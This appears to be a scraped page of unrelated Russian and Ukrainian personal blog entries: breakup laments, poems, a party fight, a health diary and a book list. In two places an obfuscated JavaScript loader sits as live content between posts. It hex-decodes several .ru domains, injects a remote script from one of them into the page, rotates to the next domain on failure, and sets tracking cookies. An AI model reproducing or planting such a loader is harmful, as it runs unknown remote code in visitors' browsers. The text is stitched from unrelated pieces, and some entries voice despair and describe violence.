З дравствуйте! Я так давно не писала, что наверное растеряла какую-то изюминку прежних моих изречений здесь. Однако, я всё больше и больше понимаю, что мне надо писать. Мне надо делиться тем, что внутри меня. Мне надо делиться и счастливыми моментами и тем, что рвёт моё сердце на части.

Т ак случилось, что зимних каникул у меня не было. Весь январь, когда многие отдыхали и набирались сил перед новым полугодием – я не расставалась с университетом. Но, хочу сказать, что это было и остаётся моим спасением. На самом деле я планировала поехать в Киев. Идея с Одессой провалилась, потому что у меня была сессия, и я не могла оставить крёстного одного в этой огромной Москве. Он очень много сделал для меня и я считаю, что уехать – было бы свинством. Хотя, сам он говорил мне чтобы я поехала в Одессу, он видел, как для меня это важно, дорого…бесценно! Затем, я решила позвонить брату и спросить вообще, как там с продажей моей квартиры в Киеве. Если честно, я до последнего не хотела и не хочу её никому продавать. Там всё, как я бы хотела. Оказалось, что покупатели есть и вскоре я распрощаюсь со своей мечтой. С братом мы давно не общались. Он постоянно был в разъездах, но Женя сказал, что готов меня принять в любое время суток. Шутя сказал, что давно нормально не ел) И тут я решила сделать одному, всем вам известному человеку сюрприз. Мне ещё мама сказала: Ну ничему тебя жизнь не учит. Скажи ему о планах своих.

Ж изнь-то меня учит, но я успешно наступила на те же грабли. Той зимой я же тоже хотела сделать сюрприз и рассказать сколько всего сделала, чтобы быть ближе к нему. Но, не успела.

В этом случае, я хотела точно узнать, нужна ли я ему в его жизни. Ирония? Или это сарказм жизни, но оказалось, что не нужна ииии, можно смеяться, сюрприз пошёл в никуда.

Я снова ушла в себя. И, наверное я до сих пор ещё не вышла из этого состояния, но то, что я сейчас могу писать это всё – уже победа. Я перестала куда-либо выходить и поняла, что снова могу попасть в ту бездну, из которой я так долго выбиралась почти год. Я не хотела этого повтора. Первое что я сделала – пошла к психологу. Когда наше общение с Ваней возобновилось – я отказалась от её услуг. Почему? Потому что я была самой счастливой. Мне не нужно было говорить о своих переживаниях другому. У меня был человек которому я могла доверить всё, но как оказалось я была лишена одного очень главного – это чувств. Он ничего не чувствовал ко мне, а мне хотелось соединить наши города и быть с ним рядом. Вот в чём весь коллапс.

К огда я пришла к ней, то она сказала одну фразу: Что, начинаем сначала? Саш, ты готова сказать ту фразу? А я не могла. ЧЁРТ! ЧЁРТ! ЧЁРТ! Я к неё ходила каждый день. А потом она мне предложила методику внушения, но вы представляете…это так всё серьёзно, что даже требуют подписывать там определённые бумаги. Идёт уже третий день моих раздумий. Билет в Киев я отдала Кристине, чтобы она отвезла сама бумаги с моей подписью для квартиры. Брат расстроен, но сказал, что может сам ко мне вырвется. Это меня обрадовало.

К нигу я пишу. И, думаю, что писать буду ещё как минимум год. Мама от неё в таком восторге, что сказала – обязательно издадим, деточка. Это поможет многим.

Я запрещаю себе слушать грустную музыку, уходить в себя, но сегодня я просто на пике. Снова истерика, и я понимаю, что силы иссякают. Я понимаю, чтобы я не говорила, во мне по прежнему сидит вера и надежда.

"Сплю уже. Завтра отвечу."

И это на флаймере. "Завтра отвечу". На флаймере!!

Как?! Интересно, как ты намерен это сделать?! КАК?! Ты уже просрал возможность ответить!

Я, конечно, могла бы написать "оk" и тогда он смог бы ответить. Но, мне прям интересно КАК(?!) он ответит. Let's wait for tomorrow, huh?

Поговорила с женой брата. Поговорила с сестрой. Настроение после вчерашнего вроде бы улучшилось.

Поговорила с мамой и настроение просто счастливое.

Моя жизнь - недо американские горки.

Сейчас все хорошо. Впервые за года полтора-два так по душам поговорили с мамой.

"Ну ты ведь моя дочь, я все знаю". <333

І золоте правило для всіх. НІКОЛИ, чуєте НІКОЛИ не знайомне своїх друзів з іншими, просто це найгірша помилка, розумієте. Це як познайомити лопця, я кий тобі подобається з найкращою подругой.

Знаєте шо найгірше ? Коли тобі говорять і доказують шо так і такбуде, повір. ТИ не віриш, ти не віриш в це, ти думаєш шо хто хто, а ця людина тебе ніколи не підведе. І тут так виходить, що все, що тобі казали, а ти так наївно відвертала, просто стає не настановою, а гіркою правдою. І кось знаєте обідно, це ще раз доказує, що ти нічого не тямеш в людях, і що буде дальше ? А нічого хорошого.

Погода ни к чёрту, настроения никого,
Дел особых нет.
Приехал Вова, Петя.
Новый год вместе встретили.
Они уехали, а я вернулся к мыслям этим:
Что со мной такое? Кто мне ответит?
Летом думаю о зиме, зимой о лете.
Откуда депрессия могла эта взяться?
Я же вроде теперь свободный братцы.
Холостой теперь, сбылась мечта идиота.
Сижу, потягиваю виска, и подкатывает икота.
Задерживаю дыхание, глотаю три раза,
Икаю дальше, не проходит зараза.
Вспоминаешь, ценишь теперь больше цента
Теперь я на расстоянии,
То вешу целый центнер
Теперь я драгоценный на расстоянии
Зачем теперь то? После расставания.

Было ли у кого то из вас чувства разочарования в жизни, когда тебя подставляет один из самых важных на твой взгляд людей ? Когда у тебя нет денег даже на проезд в сраную бурсу, который все называют колледжем хотя природы и люди даже на бурсы не тянут. Но тебе надо отдать кровь износу деньги день в день. И вообще эти два дня, какие то эмоциональные слишком. Даже дышать не хочется иногда, и мысли приходят разные. Да поддержка есть, но так сложно принять что то что не можешь или понять то что возможностей туже нет и возможно не будет таких как раньше. P.SНизкий поклон всем тем кто ушёл из моей жизни. Мир вам !!!

Сегодня дети очень нежные, катаются на роликах в шлеме, а меня в детстве машины сбивали, а я думал лишь: "Господи, хоть бы мама не узнала, она меня убьет"

Баба может сколько угодно петь про курабье и шоколад, не ведись. На самом деле баба любит мясо. Вкусное сочное мясцо, да под соусом. Положи бабе два куска мяса. Даже если баба говорит "ой, я столько не съем" - не верь: съест.

Наслаждаться жизнью в любом возрасте!

Вера Бутко и Вадим Зинчук выступили поэтическим дуэтом, написал замечательные стихи о том, что старость – совсем не помехе для того, чтобы любить друг друга, творить добро, заботиться о ближнем и наслаждаться каждым моментом своей жизни!

ОНА:

Когда мне будет восемьдесят пять,
Когда начну я тапочки терять,
В бульоне размягчать кусочки хлеба,
Вязать излишне длинные шарфы,
Ходить, держась за стены и шкафы,
И долго-долго вглядываться в небо,
Когда все женское,
Что мне сейчас дано,
Истратится и станет все равно -
Уснуть, проснуться, или не проснуться.
Из виданного на своем веку
Я бережно твой образ извлеку,
И чуть заметно губы улыбнутся.


© Вера Бутко

ОН:

Когда мне будет восемьдесят пять,
По дому буду твои тапочки искать,
Ворчать на то, что трудно мне сгибаться,
Носить какие-то нелепые шарфы
Из тех, что для меня связала ты.
А утром, просыпаясь до рассвета,
Прислушаюсь к дыханью твоему,
Вдруг улыбнусь и тихо обниму.
Когда мне будет восемьдесят пять,
С тебя пылинки буду я сдувать,
Твои седые букли поправлять,
И, взявшись за руки по скверику гулять.
И нам не страшно будет умирать,
Когда нам будет восемьдесят пять…


© Вадим Зинчук

Источник: https://www.kulturologia.ru/blogs/030216/28308/

нужно создать что то типа библии жизни!! ахахах какой то свод правил и табу которые нельзя делать ни в коем случае, и переступать правила,

это все для организациимоей рассеяной жизни и восстановления нормально режима
я сейчас искупалась под холодным душем и нужно делать это чаще, чтобы всегда быть бодрее и восприимчивее! активность лэвэл ван

для начала заведу что то тиа ежедневничка в котором буду ставить цели и отмечать свои успехи, на каждые день буду составлять список вещей которые я должна сделать, вне зависимости от времени, но некоторые временые рамки все таки размещу для некоторых вещей которые порой занимают слишком много времени,

буду записывать все чтобы не забыть и пытаться уложиться в график
первое что должно сто у меня на првом месте- соблюдение здорового режима- ранний подьем, завтрак, обед, ужн, пробежка, сон
второе-распределение занятий для подготовкт к сессии, я так ненавижу универ но не могу ж я подвести родителей. надо леге относится к тому что ненавидешь, воспринимать это как должное и делать и всеполучится. если делать конечно
на третьем месте домашние дела, я все время злю маму тем что совершенно не слежу за домом
на четвертом мои увлечения. так далеко. на четвертом месте. но они занимают много времени и не приносят никому пользы.
похоже все.

Мне очень нравятся тюльпаны. Они являются для меня олицетворением чистой нежности и красоты всей природы. Вот смотрю на них, ощущаю аромат, витающий в воздухе, и сразу так хорошо на душе становится. Понимаю, что жизнь прекрасна, если в ней есть такие вещи, как эти восхитительные весенние цветы, красивее которых для меня не существует.

Якось спитала ти.
Так чому ж я з тобою?
Сказав, що більш такої.
На світі не знайти.

Думав, ходив, аж ось.
Декілька слів знайшлось.
Скажи поміж сестер.
Що ці слова твої тепер!

Навіть коли я не я.
Ти все одно зі мною.
Ось чому ти - моя.
Ось чому я з тобою.

Навіть коли кричу.
Навіть коли ти плачеш.
Гавкіт стоїть собачий.
Посеред розпачу.

Навіть коли болить.
Терпіти сил немає.
Ти мене обіймаєш.
І я без крил лечу.

Бідам усім на зло.
Коли обоє рябоє.
Ти моя, щоб не було.
Ось чому я з тобою.
Ось чому я з тобою

Люди ми тільки тоді.
Як дуже сильно любимо.
Тільки тоді, коли любимо ми.
Можемо зватись людьми.
Можемо зватись людьми.

Скільки казати ще.
Телефонуй ледащо.
Навіть коли пропаща.
Коли горить, пече.

Навіть коли ось-ось.
Ти, а не інший хтось.
Нізащо не втечеш.
В жилах моїх течеш.

Навіть коли болить.
Терпіти сил немає.
Ти мене обіймаєш.
І я без крил лечу.

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="24108", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Я прекрасно знала, что так будет. Поэтому я ни о чем не жалею. Ну то есть, я понимала, что мы не сможем не общаться. И что мы посремся обязательно.

Вообще первые 5 часов я его игнорировала. Он постоянно смотрел в мою сторону, говорил "завалить ебало и выйти из комнаты". Я на него не смотрела, не реагировала, не отвечала. Но постоянно в любой моей фразе он слышал какой-то подвох и кричал мне, что бы я заткнулась.

Потом мы напились все очень сильно и Алина снова полезла ко мне целоваться. Даня приревновал её очень ко мне, стал злиться.

И потом просто стал на меня гнать. Я уже была довольно пьяна, меня уже накалило это все и я стала ему отвечать.

Алина с Даней посрались. Он стал говорить мне, что я хуевая подруга, ведь я против их отношений. Я прямо при Алине спросила, говорила ли я когда-либо что то плохое о Дане при ней, настраивала ли её против него, и вмешивалась ли вообще?

Она сказала нет. Что я наоборот только за всегда была.

Даня облажался. Он ожидал услышать, что я говорю какое он говно, но такого не было.

В этот момент ребята были, кто где. Кто-то купался в бассейне, кто то в бане, кто то ставил музыку. Алина в слезах ушла на кухню.

В комнате были два человека, я и Даня. Вместо того, что бы пойти и успокаивать её, он сидел и кричал на меня. Что я должен быть довольна, что разрушила. Что я стопудов получила кайф.

Наши ссоры продолжали около двух часов. Мы ругались, иногда угорали, посылали друг друга.

Он сидел и выводил меня на эмоции, когда это было раньше. Он видимо реально получает кайф, когда видит, как я бешусь/злюсь.

Уже сто раз с Алиной помирился, но продолжал реагировать на моё присутствие, где бы я ни была.

Потом на кухне произошёл апокалипсис. Я вообще стояла говорила с Никитой, а тут Даня вмешался. Сказал мне что-то очень сильно обидное, а ещё на вопрос Алины, целовались ли мы сегодня с Даней или нет, он сказал да и полез ко мне целоваться. Это было больно. В плане физически, он больно схватил за шею.

Короче далее кто-то из ребят сказал Алине, что мы действительно целовались. Но мы ненавидим друг друга, и я бы никогда больше в жизни не поцеловала его больше.

На этой почве опять случилась ссора. Он меня вывел. Стал кричать. Я стала его бить. Меня оттащили. Держали у стенки. Даню тоже держали. Мы орали друг другу, что убьем друг друга. И что пожалеем ещё.

Короче у меня случилась истерика. Я так хотела его ударить. Потом его увели в другую комнату. Но у нас было окно между нами. И Алина попросила его из уважения к ней извинится. Он стал кричать мне, что он извиняется. Я сказала ему вообще меня не трогать и не смотреть в мою сторону.

Потом ушла Алина. И он опять стал говорить мне какую-то херню. А потом за каждое слово мат в мою сторону, он получал пощечину.

И честно, мне кажется ему это нравилось. Я ударила его раз 10 наверно. А потом он спросил " Прощаю ли я его и довольна ?"

Я ушла.

Потом после рек слез/истерик мы успокоились. Мы с Алиной включили музыку, стали пить и танцевать. И Даня стал бросать в меня всякие крышки/пробки.

Такое чувство, что я в детском саду.

Так все это конечно выводило.

Я ещё парилась, что я поплакала и поистерила и что ребятам пришлось нас разнимать и успокаивать. Но этот дом - проклятое место. И каждая девочка, а нас было 5 человек, устраивала какой-нибудь пиздец. Все плакали, все поссорились, все загнались.

Даже пара, у которой все вроде хорошо. От которой мы ну ничего не ожидали, девочка ревела, потому что приревновала его.

Короче повеселились мы конечно круто. Я знала на что я иду. Что будет. Возможно даже хорошо; что я выплеснула все свои эмоции.

Я не буду тебе врать, что до конца разлюбил. Знаешь, у мужчин так принято: если мы расстаемся с женщиной, которую любили, мы уже не признаем этого вслух. Обходим стороной свои настоящие чувства и говорим только о том, какими мы были разными, и что для того, чтобы окончательно убедиться в этом, понадобилось несколько лет пожить вместе. Не что иное, как ложь, под которой - глыба гордости.
Показать полностью…
В действительности, в глубине души, все иначе, не так эгоистично. Мы тоже тоскуем, тоже мечемся в постели от наплыва воспоминаний. Мы тоже, как и вы, женщины, ищем родное лицо в толпе. Чем отличается женская тоска от мужской? Мы предпочитаем забываться. На пару недель убегаем к “промежуточным” женщинам – они нас целуют, удовлетворяют, помогают забыться. Но в постели мы никогда не смотрим таким женщинам в лицо. Боимся увидеть в них черты той, которую любим по-настоящему. Той, в которой видели мать своих детей.
Я не верю, что любовь забывается. Ее невозможно отпустить. Она подобна голубю в клетке без дверцы – так навсегда и остается там.
В тебе. Однако со временем начинаешь иначе относиться к тому, что было.
Со временем этот голубь в клетке, вскормленный воспоминаниями, становится украшением твоего сада-сердца. Его посещают новые люди, кому-то из них ты показываешь красивую птицу прошлого, а кого-то не пускаешь дальше калитки. Но в итоге непременно найдется тот, кто полюбит тебя вместе с твоими воспоминаниями. И это нельзя назвать милосердием с его стороны. Просто у этого человека есть такой же сад. И такой же голубь в клетке без дверцы.
Буду честен с тобой: иногда мысленно я переношусь в прошлое. Не потому, что здесь, сегодня, рядом с тобой, мне чего-то не хватает. Ты – другое. Ты – мое осязаемое настоящее. А то, что осталось там, в прошлом, – это подводные течения океанов, которые исподволь меняют ландшафт, но никогда не исчезают. Уверен, у тебя так же.
Я переношусь в дни, когда мы с ней прощались на старом вокзале в центре одного города. Она в чем-то упрекала меня, я что-то ей объяснял со слезами на глазах – не помню уже, какие были слова, вопросы, оправдания. Помню одно: мне безумно хотелось поцеловать ее. В губы, в плечи, которые обгорели на первом июньском солнце. В самый разгар нашего спора она вдруг чуть приспустила рукав блузки и совершенно по-детски сказала: “Черт, посмотри, как я обгорела… Вся красная”. А я посмотрел на ее обожженное плечо и подумал, что вопреки желанию не посмею прижаться к нему губами, лицом. Я всегда носил щетину, которая так колола ее бархатистую кожу.
Почему мы расстались? Слова. Мы, оба эмоциональные и взрывные, столько всего наговорили друг другу, что в итоге не смогли переступить через это сказанное. Оба ведь гордые. Каждый раз, когда хотел позвонить и сказать, как сильно ее люблю, мой порыв останавливали те слова, которые она сказала мне. Я был воспитан в среде абсолютно патриархальной – если мужчина в чем-то не прав, то женщина должна промолчать. Это корни, это мое начало. Моя мама говорит: “Мудрая женщина сначала промолчит, но потом, когда мужчина успокоится, обязательно скажет свое слово и получит то, что хочет”.
Все так странно и изрядно глупо. Неужели слова значат больше, чем чувства? Неужели слова способны разрушить отношения двух любящих людей? Я пытался ее вернуть. В тот день, на вокзале, я говорил о том, как сильно люблю ее. На что она ответила: “Но я тебя уже не люблю. Пойми”. Мне ничего не оставалось, кроме как отпустить. Хотя знаю, что она соврала! Или я сам себя обманываю?..
В одной из прошлых книг я написал о расставании двух людей. Я написал о том, что у этой разлуки не было причины, с их любовью просто-напросто случилась жизнь. Точная формулировка, правда? “С ними случилась жизнь”. Такое часто бывает. Некогда одна дорога двух людей вдруг разделяется на две разные и обрастает высокими стенами. И никто ничего не может с этим поделать.

Любовь не одолеет течения жизни. Может, из-за того, что любовь и есть жизнь?

О, как убийственно мы любим,
Как в буйной слепоте страстей
Мы то всего вернее губим,
Что сердцу нашему милей!

Давно ль, гордясь своей победой,
Ты говорил: она моя…
Год не прошел - спроси и сведай,
Что уцелело от нея?

Куда ланит девались розы,
Улыбка уст и блеск очей?
Все опалили, выжгли слезы
Горючей влагою своей.

Ты помнишь ли, при вашей встрече,
При первой встрече роковой,
Ее волшебный взор, и речи,
И смех младенчески живой?

И что ж теперь? И где все это?
И долговечен ли был сон?
Увы, как северное лето,
Был мимолетным гостем он!

Судьбы ужасным приговором
Твоя любовь для ней была,
И незаслуженным позором
На жизнь ее она легла!

Жизнь отреченья, жизнь страданья!
В ее душевной глубине
Ей оставались вспоминанья…
Но изменили и оне.

И на земле ей дико стало,
Очарование ушло…
Толпа, нахлынув, в грязь втоптала
То, что в душе ее цвело.

И что ж от долгого мученья
Как пепл, сберечь ей удалось?
Боль, злую боль ожесточенья,
Боль без отрады и без слез!

О, как убийственно мы любим,
Как в буйной слепоте страстей
Мы то всего вернее губим,
Что сердцу нашему милей!

Дорогая Елена, да, это случилось. Ад покрылся льдом. Я пишу тебе, конечно, после бутылки моего Шате Чевал Блан 1950-го года, которую я не открывал 65 лет. Я проводил ночи в винном погребе, убеждая себя, что могу слышать как оно созревает, увидеть как оно бродит. Но созерцание не могло заставить время идти быстрее. Бутылка просто лежала там и истязала меня, пока я просто ждал Кэтрин, а время стояло на месте. Я убедил себя, что глоток этого вина никогда не будет так сладок, как я убедил в этом себя. Так что я спрятал бутылку и ушёл. Именно поэтому я пью бурбон. Я не знаю, кто я без тебя. Но знаю, что пока я рядом с тобой, время будет стоять на месте. Кто же Дэймон Сальваторе без Елены Гилберт? Эгоистичный друг, ревнивый брат, ужасный сын? Надеюсь, если повезёт, тебя я смогу не подвести. Даже если нас будут разделять тысячи миль и сотни лет, ты будешь рядом со мной, и моё сердце будет в том гробу, рядом с тобой, пока ты не вернёшься ко мне.

С.: Как И. не сдала? Это же уже вторая пересдача! Блин, ну она же такая умная…

Г.: Да с чего ты взяла, что она умная? Такая же, как и все… Я знаю школу, которую она закончила - оттуда все такими выходят: нихрена не знают, зато самомнение-е-е…

Я: Успокойтесь, из [нашего вуза] выходят точно такими же.

В.: Блин, правду говоришь…

04.02.2016
и я досмотрела сериал, который изменил мою жизнь
мы были вместе 6 лет
осталась только одна серия
10.10.2013 03 The Quarterback
не знаю, буду ли я когда-нибудь в силах ее посмотреть
но
пока

до встречи, Glee

Иногда есть более ценные, чем машины/квартиры и дорогие подарки на день рождение, чем гаджеты.

Судя по всему, моим подарком на двадцатилетие будет лечение зубов. Что примерно обойдется в стоимость моего смартфона ну или полтора. Если родители не надоумят друг друга дарить мне что-то еще.

И значете что? Я николько не против такому подарку.

О Боже писала такой большой пост и все удалилось, значит не судьба..Вовка, мне этого больше не подарит, поэтому буду краткой…Девчонки, одиночество- это не когда тебя бросил парень, или не понима.т твой внутренний мир, а когда у тебя действительно никого нет- ни мамы, ни папы, ни друзей, и то последнее дело попровимое…Все это найдется, заработается, исправится….Когда вам 16, 20, все еще впереди- впереди первая работа, карьера, любовь, предложение, свадьба, первые 2 полоси на тесте, первый ребенок, дом, квартира…И концентрируйтесь на этом, соершенствуйтесь, пока у вас есть время, потому что потом, его может и не быть на все…И не нужно мне тут говорить, что у вас будет все по другому, да-да-да….Но все таки, а вдруг нет, а сейчас, вместо того, чтобы выписывать грутсные посты, про неразделенную любовь, херовую страну, с которой хочется уехать, но тебе не дают, возможности, или плохих родителей..Задумайтесь над тем, что прийдет время, когда они умрут, когда вы постареете, Ю и не будт возможности реализовать все задуманное, да и желания особого тоже..дети вырастут и уйдут-, а вы наконец-то выспитесь в зудящей тишине..Закончите иститут, и закончатся ваши сессии, экзамены, и начнется настоящий треш, когда, вы сами за себя отвечаете, и ищите деньги, чтобы за все заплатить, покушать и может быть еще куда-то раз в мксяц сходить…Будут разные моменты, а сейчас у вас есть время, так проведите его с пользой, а не нытьем :) )) Вообщем наслаждайтесь жизнью…

Люблю вас!

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="24108", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Самый большой грех по отношению к ближнему — не ненависть, а равнодушие; вот истинно вершина бесчеловечности. Бернард Шоу "Ученик дьявола"

Любить и ловить кайф от этой работы я точно не буду. Пришла домой и поняла этот простой момент. Работа неплохая: стабильная, зарплатная, понятная. Знаете…она нормальная. Ничего необычного, мало интересного. Я так не привыкла. Думаю, на первое время пойдёт. Разочарования нет, скорее желание быстрее разобраться во всем.

К теме о том, что наши семьи привыкли, что мы почти всегда вместе.

Звонит дядя Китти:

-Даш, привет. А Влад там рядом?, - каково же было его удивление, когда я сказала, что нет.)

Я устаю от этих мыслей, от всего этого. Куча вопросов в голове и ни одного ответа. Я устала тянуться к тебе, когда ты даже шага навстречу мне сделать не можешь. Если тебе я не нужна, отпусти меня!! Исчезни нахуй из моей жизни и не трогай меня больше никогда!!

Все говорили маме, включая врачей, что она слишком взвалила на себя все проблемы, заботы. Результатом всего стала астма на нервной почве. Я иду по стопам мамы..

24/7 моя голова занята проблемами семьи, Китти, своими наконец. Я на себя всё принимаю как физически, так и морально. Курсы, поступление Китти; проблемы на маминой и папенькиной работах, делах; брат, Вася; моя жизнь, в которой всё не так.
Мне так хочется хоть день не парится о наступающих праздниках, не ломать ночами голову, просматривая сотни идей для подарков. Мне хочется просто на день исчезнуть. Ото всех.

Я нашла Китти курсы, съездила с ним, внимательно ознакомилась с договором. Я на какую-то часть решила мамину проблему. Я занимаюсь поездками к вету, решением финансовых вопросов, транспорта для Васи. Я помогаю всем, но только не себе.
Чувствую, как с каждым днём силы, гормон счастья меня покидают. Я на самом деле увядаю как цветок.
Что я буду делать дальше? Конечно же, взваливать на себя всех проблемы, заботы.

Каждый день мне плохо. Дни различаются лишь тем, что моё имптомы моего состояния меняются: тошнит, панические атаки, головные, сердечные боли, не держат ноги, нет сил, кружится голова, вижу всё, как в тумане, предобморочное состояние, не могу ни есть, ни пить.

Сидя в ванной, я разрыдалась. Но не как обычно, не истерически, а просто по щекам текли слёзы. Завершением стало то, что я обнаружила второе доброкачественное (я надеюсь) новообразование.

Я не претендую на роль Матери Терезы или великой мученицы. Я просто хочу сказать, что устала, у меня нет сил жить.

Пока я могу быть спокойна… ;))) )) )) )) )

У Китти в группе 5 парней и одна дама.. 50ти лет.)))

С курсами всё ок, а что будет, когда Китти в общепит пойдёт..?)

Красота в малом.
" Можно завалить дом бытовой техникой, выпилить себе пентхаус с видом на город, самую крутую тачку и обнаружить, что это совершенно пустое. Вроде красивое, а вон уже пыль по плинтусам.
Можно не иметь ничегошеньки-ничего, но видеть себя каждый день в зеркале улыбающимся: вроде немного, а хватает. И ведь заразная улыбка! Стоит начать дарить её другим, как она расползается дальше.
Но этот пост не о том, что богатство тлен, а нищета свята. Всё хорошо таким, какое оно есть. Пусть у вас будет именно то, чего желает ваша душа. " З.

двойное утро) …сонным чучелом поехать на 8мь утра сдавать реку крови, вернуться, бахнуть кофе (который нельзя =Р) и снова уснуть. как прекрасно высыпаться. а теперь мне напомнили о дипломе и 3D программке "блендер" - не могу спокойно отдыхать =_=

Скажу сразу, этот писатель, а точнее, писательница, мое открытие года!

Поэтому пока не прочитав все ее переведенные пока книги, а их, уже 10, я не успокоилась, и не успокоюсь, пока хоть немного не подюль своими впечатлениями.

Я не буду выписывать вам сюжете, биографии, писать рецензии, на полстраницы о каждой, я просто, сделаю свой мини рейтинг с пометками.Ибо выписывать эпопеи у меня нет ни времеени, ни желания, да и сама знаю, как порой надоедает читать эпосы о книгах.

И так….

1.До встречи с тобой

С этой книги началось мое знакомство с автором…Е буду кривить душой, сначала повелась на ее поппулярность, но прочитав, ни на секунду не засомневалась в соем выборе..Книга замечательная, трогательная и настоящая…И я счастлива, что имеенно ее я прочтала первой из всех…Она то и осталась любимой..Кстати в марте о ней выйдет фильм, если вам лень читать, то хоть фильм сходите гляньте…Он должен быть востихительным…

Самая роматичная книга из всех ее произведений…

2.Танцующая с лошадьми

.

Честно, откладывала ее всегда "напотом" - ну не нравилось мне название- как банально это не звучит, и в итоге прочитала предпоследней..А потом еще долго жалела, что так в нее не верила..Самая искренняя книга о дружбе, верности и преданности..До этого особо не любила лошадей, но после прочтения, даже пару роликов на ютубе просмотрела…По истине великие животные! Прочитайте не пожалеете!!!! ставлю ее 2ое место- за дружбу и верность себе и животным!

3.Вилла Аркадия

Отзывы об этой книги не очень, хотя я возмущена этим! Книга очень хорошая, у меня до сих пор перед галазами фреска, у меня до сих пор перед глазами эксентричные жители этой виллы…Согласна, настоящее время в ниге подкачало, любовная линия самазана, сумбурно все..Но прошлое…Без претензий…А еще, что меня просто купило в ней, так это справедливость..Без розовых пони и всегоостального..Что любовь пусть, она и самая сильная в мире, но прошлая, должна остаться в прошлом, и когда стоит выбор между прошлым и настоящим в котором с тобой самые смелые, сильные и верные, нужно выбиратьправильно!

За это 3е место!!!

4. 1+1

Самая настоящая книга из всех! Очень хорошо раскрыты социальные темы!Ее просто нужно прочитать, чтобы полюбить! Больше говорить не буду! "Хорошие вещи случаются с хорошими людьми! 4ое место! И браво!

5.Девушка, которую ты покинул

Очень ярко и чувственно..Вся книга читается на нерве…То первая мировая, со всеми вытикающими, и среди всей этой грязи прекрасная любовь, котораяпереживет все, даже смерть..И современная история борьбы за жизнь, за свое счастье и принципы….И концовка… как всегда неожиданная трогательная..

6.Корабль невест

4 девушки, 4 истории, 4 жизни 1 корабль и океан…Каждая надеется, каждая ждет, но у каждой своя судьба и жизнь расставит все по местам..Очень хороший роман….

7.Последнее письмо от твоего любимого

